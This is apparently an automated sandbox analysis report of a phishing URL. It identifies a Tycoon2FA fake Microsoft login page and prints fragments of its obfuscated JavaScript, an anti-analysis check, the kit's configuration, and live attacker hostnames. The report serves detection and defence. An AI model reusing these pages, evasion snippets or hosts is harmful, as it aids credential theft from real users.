Create Interactive Tour

Windows Analysis Report
https://nz.freshmnind.ru/E9nFcFhuAwW2u/

Overview

General Information

Sample URL:	https://nz.freshmnind.ru/E9nFcFhuAwW2u/
Analysis ID:	1648314
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Found malware configuration

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

Invalid T&C link found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2976 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 2836 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2364,i,16656069299914038280,3145591477640638707,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2392 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6396 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://nz.freshmnind.ru/E9nFcFhuAwW2u/" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "otherweburl": "",
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "S2DfC",
  "emailcheck": "0",
  "webname": "rtrim(/web8/, '/')",
  "urlo": "/nzeKMOpVOW9yQnlJ0L56EPDAdos9WCTmABd5k6hvZRYfhx",
  "gdf": "/ghtt7C1oSWmwsgr3AO00kewx7z9amroPziWIcd120"
}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_93	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
0.2.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.2.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.6.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.11..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.11..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.9.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.16.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
1.12..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.12..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.1.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.5..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.19..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.4.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.4.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.5.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.5.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.3.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.3.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 20 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 1.16.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"otherweburl": "", "websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "S2DfC", "emailcheck": "0", "webname": "rtrim(/web8/, '/')", "urlo": "/nzeKMOpVOW9yQnlJ0L56EPDAdos9WCTmABd5k6hvZRYfhx", "gdf": "/ghtt7C1oSWmwsgr3AO00kewx7z9amroPziWIcd120"}

Phishing

AI detected phishing page

Source: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'nz.freshmnind.ru' does not match the legitimate domain for Microsoft., The URL uses a '.ru' domain extension, which is unusual for Microsoft and could indicate a phishing attempt., The domain name 'freshmnind' does not relate to Microsoft and appears suspicious., The presence of input fields for 'Email, phone, or Skype' is typical for phishing sites targeting Microsoft accounts. DOM: 1.3.pages.csv
Source: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is a well-known global technology company., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'nz.freshmnind.ru' does not match the legitimate domain for Microsoft., The domain 'freshmnind.ru' is suspicious and does not relate to Microsoft., The use of a '.ru' domain extension is unusual for Microsoft, which typically uses '.com'., The URL structure and domain name do not align with Microsoft's known web properties., The presence of input fields for 'Email, phone, or Skype' is typical for phishing attempts targeting Microsoft accounts. DOM: 1.4.pages.csv
Source: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'nz.freshmnind.ru' does not match the legitimate domain for Microsoft., The domain 'freshmnind.ru' is unrelated to Microsoft and is suspicious., The use of a country code top-level domain (ccTLD) '.ru' is unusual for Microsoft, which typically uses '.com'., The URL structure and domain name do not align with Microsoft's known web properties. DOM: 1.5.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.5.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 0.1.d.script.csv, type: HTML
Source: Yara match	File source: 0.5..script.csv, type: HTML
Source: Yara match	File source: 1.19..script.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_93, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 1.16.d.script.csv, type: HTML
Source: Yara match	File source: 0.2.d.script.csv, type: HTML
Source: Yara match	File source: 0.6.d.script.csv, type: HTML
Source: Yara match	File source: 1.11..script.csv, type: HTML
Source: Yara match	File source: 0.9.d.script.csv, type: HTML
Source: Yara match	File source: 1.12..script.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.5.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 1.11..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYD... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and aggressive DOM manipulation. It checks for the presence of web automation tools, blocks common keyboard shortcuts, disables right-click context menus, and periodically triggers a redirect to an external domain. These behaviors are highly suspicious and indicate potential malicious intent, likely for the purpose of preventing analysis or user interaction. The script also includes obfuscated code, further increasing the risk score.
Source: 1.12..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYD... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. It attempts to detect the presence of web automation tools, blocks keyboard shortcuts, and redirects the user to an external website. These behaviors are highly suspicious and indicate a potentially malicious intent, warranting a high-risk score.
Source: 0.0..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://nz.freshmnind.ru/E9nFcFhuAwW2u/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob` and `decodeURIComponent` to decode and execute remote content is a clear indicator of malicious intent. Additionally, the script appears to be interacting with suspicious domains, further increasing the risk. Overall, this script exhibits a high level of malicious behavior and should be treated with caution.
Source: 1.15..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYD... This script demonstrates several high-risk behaviors, including dynamic code execution via `eval()` and potential data exfiltration to unknown domains. The use of obfuscated code and multiple fallback domains further increases the risk. While some context is provided, the overall behavior of the script is highly suspicious and likely malicious.
Source: 0.7..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://nz.freshmnind.ru/E9nFcFhuAwW2u/... This script exhibits several high-risk behaviors, including dynamic code execution through the use of `atob()` and string manipulation to generate and execute code. Additionally, the script appears to be heavily obfuscated, making it difficult to determine its true purpose. The combination of these factors suggests that this script is likely malicious and poses a significant security risk.
Source: 0.8..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://nz.freshmnind.ru/E9nFcFhuAwW2u/... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of the `Function` constructor to execute a base64-encoded string, along with the presence of code that checks for the existence of web driver or headless browser environments, suggests this script may have malicious intent. Additionally, the script sets up an interval that triggers a debugger statement and potentially redirects the user to an external domain, further increasing the risk. Overall, this script exhibits a high level of suspicious activity and should be treated with caution.
Source: 0.5..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://nz.freshmnind.ru/E9nFcFhuAwW2u/... This script demonstrates high-risk behaviors, including dynamic code execution through the use of a Proxy object that evaluates decoded strings. The obfuscated nature of the code and the potential for remote code execution make this a high-risk script.
Source: 1.19..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://nz.freshmnind.ru/56n0qROe2zNwyNTkPpewzVTNg... This script demonstrates several high-risk behaviors, including dynamic code execution using `eval()`, potential data exfiltration, and the use of obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, warranting a maximum risk score of 10.

Source: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR

HTTP Parser: Number of links: 0

Source: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://nz.freshmnind.ru/E9nFcFhuAwW2u/

HTTP Parser: Base64 decoded: if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addEventListener("keydown", function (event) { function mCLQfaAIQu(event) { co...

Source: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR

HTTP Parser: Title: Sign In For Secure System does not match URL

Source: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR	HTTP Parser: Invalid link: Terms of use
Source: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR	HTTP Parser: Invalid link: Privacy & cookies
Source: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR	HTTP Parser: Invalid link: Terms of use
Source: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR	HTTP Parser: Invalid link: Privacy & cookies

Source: https://nz.freshmnind.ru/E9nFcFhuAwW2u/	HTTP Parser: function ysjrouoepo(){nmsqlouaon = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+ug9ydgzvbglvicygqwdlbmn5ic0gtw9kzxjuierlc2lnbjwvdgl0bgu+ciagpgxpbmsgahjlzj0iahr0chm6ly9mb250cy5nb29nbgvhcglzlmnvbs9jc3myp2zhbwlset1nb250c2vycmf0ondnahrandawozcwmczmyw1pbhk9um9ib3rvondnahramzawozqwmds1mdamzglzcgxhet1zd2fwiibyzww9inn0ewxlc2hlzxqipgogidxzdhlszt4kicagic8qiedlbmvyywwgu3r5bgvzicovciagicbib2r5ihskicagicagzm9udc1myw1pbhk6icdsb2jvdg8nlcbzyw5zlxnlcmlmowogicagicbtyxjnaw46ida7ciagicagihbhzgrpbmc6ida7ciagicagignvbg9yoiajmzmzowogicagicbsaw5llwhlawdoddogms42owogicagicbiywnrz3jvdw5klwnvbg9yoiajzjrmngy5owogicagfqokicagiggxlcbomiwgadmgewogicagicbmb250lwzhbwlsetogj01vbnrzzxjyyxqnlcbzyw5zlxnlcmlmowogicagicbjb2xvcjogizjjm2u1mdskicagih0kciagicbhihskicagicagy29sb3i6icmzndk4zgi7ciagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagih0kciagicbhomhvdmvyihskicagicagdgv4dc1kzwnvcmf0aw9uoib1bmrlc...
Source: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "s2dfc";var emailcheck = "0";var webname = "rtrim(/web8/, '/')";var urlo = "/nzekmopvow9yqnlj0l56epdados9wctmabd5k6hvzryfhx";var gdf = "/ghtt7c1oswmwsgr3ao00kewx7z9amropziwicd120";var odf = "/ijz8x1t0qv8bgfkqyk20yzqszmkbhigq9x0ab641";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(useragent.match(/edg/i)){ browsername = ...

Source: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR

HTTP Parser: <input type="password" .../> found

Source: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR	HTTP Parser: No favicon
Source: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR	HTTP Parser: No favicon

Source: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR	HTTP Parser: No <meta name="author".. found
Source: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR	HTTP Parser: No <meta name="author".. found

Source: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR	HTTP Parser: No <meta name="copyright".. found
Source: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.250.80.100:443 -> 192.168.2.7:49687 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.191.36:443 -> 192.168.2.7:49689 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.191.36:443 -> 192.168.2.7:49688 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.66.137:443 -> 192.168.2.7:49693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.7:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.7:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.7:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.191.36:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.191.36:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.191.36:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.7:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.7:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.112.4:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.7:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.7:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.7:49749 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.98.62
Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.215.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.215.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.98.62
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.176.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.176.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.176.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.176.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.176.195
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.176.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.176.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.176.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.176.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.176.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.176.195
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /E9nFcFhuAwW2u/ HTTP/1.1Host: nz.freshmnind.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://nz.freshmnind.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://nz.freshmnind.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://nz.freshmnind.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=9dT_IwLxd6FqkEOhe.NJUoQa56klw5y39hALgdrl3Lg-1742922485-1.0.1.1-.0ylvWsC4Uwn0x9tfesccvU5H7E7nGfvZ0HsRXaggzbnzHKo_DUUX4Qnc3nbagu664op9nFD43QuXRrNc378LD.BP80S6XswAou9eYnyIi8
Source: global traffic	HTTP traffic detected: GET /ando!8ygo40 HTTP/1.1Host: b0hphs.doeosc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://nz.freshmnind.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://nz.freshmnind.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ando!8ygo40 HTTP/1.1Host: b0hphs.doeosc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
